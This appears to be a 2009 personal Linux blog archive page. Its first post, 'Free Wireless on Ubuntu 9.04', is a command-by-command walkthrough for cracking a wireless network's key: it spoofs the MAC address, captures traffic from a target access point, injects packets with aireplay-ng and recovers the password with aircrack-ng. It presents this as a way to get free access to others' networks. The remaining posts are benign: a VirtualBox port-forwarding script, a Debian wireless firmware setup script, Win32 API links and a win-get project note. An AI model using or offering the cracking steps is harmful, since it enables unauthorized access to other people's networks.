Archive

Archive for the ‘network’ Category

Free Wireless on Ubuntu 9.04

August 12th, 2009 No comments

Free Wireless

Using Ubuntu 9.04:

sudo apt-get install aircrack-ng macchanger

The device name could be different on your machine

sudo airmon-ng stop wlan0
sudo airmon-ng start wlan0
sudo ifconfig wlan0 down
sudo ifconfig mon0 down
sudo macchanger -m $FAKEMAC wlan0
sudo macchanger -m $FAKEMAC mon0
sudo ifconfig mon0 up
sudo airodump-ng mon0 # See all available networks choose one channel

Inject packets:

# terminal 01
 sudo airodump-ng mon0 -w wdata -c 6 --bssid  00:00:00:00:00:00 # -c $CHANNEL
# terminal 02
watch sudo aireplay-ng -1 0 -e $SSID -a 00:00:00:00:00:00 -h $FAKEMAC mon0
# terminal 03
sudo aireplay-ng -3 -b 00:00:00:00:00:00 -h $FAKEMAC mon0
# wait some time to get 30,000 on Data on terminal 01

Now get the password:

sudo aircrack-ng wdata-*.cap

See Screens:

Categories: network, security, unix/linux Tags: , ,

VirtualBox Port Forward Bash Script

July 17th, 2009 No comments

VirtualBox Port Forward Bash Script

#!/bin/bash
# Albertux (Alberto Isaac Ayala Esquivias)
# Email: <Albertux@AyalaSoft.com>
# Web: http://www.AyalaSoft.com
# Script: VirtualBox Port Forward Script Tool
 
YELLOW="\033[1;33m"
NORMAL="\033[0m"
 
function vbox-portfwd-help {
	echo -e "\n${YELLOW}vbox-portfwd${NORMAL} [OPTIONS]\n"
	echo -e "  -s \"set parameters to a VirtualBox Machine\""
	echo -e "  -u \"unset parameters to a VirtualBox Machine\""
	echo -e "  -m \"Machine Name\""
	echo -e "  -n \"Guest Port\""
	echo -e "  -l \"Host Port\""
	echo -e "  -p \"Protocol [TCP|UDP]\"\n\n${YELLOW}Examples:${NORMAL}"
	echo -e "  Usage: vbox-portfwd -s -d \"Proxy\" -m \"WinXP\" -n 8080 -l 3128 -p TCP"
	echo -e "  Usage: vbox-portfwd -u -d \"Proxy\" -m \"WinXP\""
	echo -e "\nNotes:\n  Protocol TCP is default option, if not given -p flag"
	echo -e "  Use this script when VirtualBox Machine status [Power Off]\n"
}
 
while getopts  "usd:m:n:g:l:p:" flag
do
	if [ "$flag" = "s" ]
	then
		OP=set
	elif [ "$flag" = "u" ]
	then
		OP=unset
	else
		eval $flag=$OPTARG
	fi
done
 
if [ -z $OP ]
then
	vbox-portfwd-help
	exit
fi
 
if [ -z $p ]
then
	p=TCP
fi
 
if [ "$OP" = "set" ]
then
	PROTOCOL=$p
	GUEST=$m
	GUEST_PORT=$n
	HOST_PORT=$l
	DESCRIPTIVE_NAME=$d
	if [ -z "$GUEST" -o -z "$DESCRIPTIVE_NAME" -o -z "$GUEST_PORT" -o -z "$HOST_PORT" ]
	then
		vbox-portfwd-help
		exit
	fi
fi
 
if [ "$OP" = "unset" ]
then
	GUEST=$m
	DESCRIPTIVE_NAME=$d
	if [ -z "$GUEST" -o -z "$DESCRIPTIVE_NAME" ]
	then
		vbox-portfwd-help
		exit
	fi
fi
 
case $OP in
	set)
		vboxmanage setextradata $GUEST "VBoxInternal/Devices/pcnet/0/LUN#0/Config/$DESCRIPTIVE_NAME/HostPort" $HOST_PORT
		vboxmanage setextradata $GUEST "VBoxInternal/Devices/pcnet/0/LUN#0/Config/$DESCRIPTIVE_NAME/GuestPort" $GUEST_PORT
		vboxmanage setextradata $GUEST "VBoxInternal/Devices/pcnet/0/LUN#0/Config/$DESCRIPTIVE_NAME/Protocol" $PROTOCOL
		;;
	unset)
		vboxmanage setextradata $GUEST "VBoxInternal/Devices/pcnet/0/LUN#0/Config/$DESCRIPTIVE_NAME/HostPort"
		vboxmanage setextradata $GUEST "VBoxInternal/Devices/pcnet/0/LUN#0/Config/$DESCRIPTIVE_NAME/GuestPort"
		vboxmanage setextradata $GUEST "VBoxInternal/Devices/pcnet/0/LUN#0/Config/$DESCRIPTIVE_NAME/Protocol"
		;;
esac
Categories: network, unix/linux Tags: ,

Debian Lenny Intel(R) Pro/Wireless

May 12th, 2009 2 comments

Debian Lenny Intel(R) Pro/Wireless

After you install Debian using netInstall using wire interface you can install the firmware that support your wireless interface this is example script:

#!/bin/bash
# Debian Lenny Wireless script for Intel(R) Pro/Wireless 4954 or 3945
# Author: Albertux (Alberto Isaac Ayala Esquivias)
# Mail: <albertoi7@gmail.com>
# Web: http://Albertux.AyalaSoft.com
 
if [[ $EUID -ne 0 ]]; then 
  echo "You must be a root user" 2>&1
  exit 1
fi
 
for m in iwl4965 iwl3945
do
  model=$(echo `dmesg  | grep $m | awk ' { print $3 }' |  wc -l`)
  if [ $model -ne 0 ]; then
    model=$m
    break;
  fi
done
 
if [ "$model" != "$m" ]; then
  echo -e "\e[01;33mWARNING!"
  echo -e "\e[01;33mDoesn't have Intel(R) PRO/Wireless 4965 or 3945 Models\e[00m"
  exit;
else
  echo -e "\e[01;32mYou have Intel(R) PRO/Wireless $model\e[00m"
fi
 
firmware=$(echo `dpkg -l | grep firmware-iwlwifi | awk '{ print $1 }'`)
mod=$(echo `lsmod  | awk '{ print $1 }'  | grep $model`)
 
if [ "$firmware" != "ii" ]; then
  echo -e "Install firmware ..."
  apt-get install firmware-iwlwifi
fi
 
if [ "$model" != "$mod" ]; then
  echo -e "Install module ..."
  modprobe $model
fi
echo -e "\nname\t  description\n"
iwconfig
echo -n "Name of the interface with wireless extensions: "
read iface
 
ifconfig $iface up
clear
echo -e "Scanning Wireless ..."
iwlist $iface scanning 
 
echo -n "essid: "
read essid
 
echo -n "Need Key (y/n): "
if [ "$op" = "n" ]; then
  iwconfig $iface essid "$essid"
else
  echo -n "key: "
  read key
  iwconfig $iface essid "$essid" key "$key"
fi
 
echo -n "Static IP? (y/n): "
read op
 
if [ "$op" = "n" ]; then
  dhclient $iface
else
 echo -n "What ip you want: "
 read ip
 ifconfig $iface $ip
fi
 
echo -n "Gateway: "
read gw
 
route add default gw $gw $iface
Categories: network, unix/linux Tags: , ,

c/c++ win32api

April 18th, 2009 No comments

C/C++ Win32API

Win32API C/C++ Documentation:

theForger’s Win32 API Tutorial [english]
Win API Con Clase [spanish]

I made a single uploader application (c/c++ win32api) and web administrator panel (php/javascript/mysql)

win-get apt-get for windows

April 9th, 2009 No comments

win-get apt-get for windows

One thing I love of Debian is apt-get command, so why not have not the same, ok not the same but something similar run on Windows?, I search some projects on sf.net but don’t work or are not updated, so I made my own project and works fine:

You can download executable file and source file (perl script) on:
http://win-get.ayalasoft.com

Categories: develop, network, projects, web, windows Tags: ,

Switch to our mobile site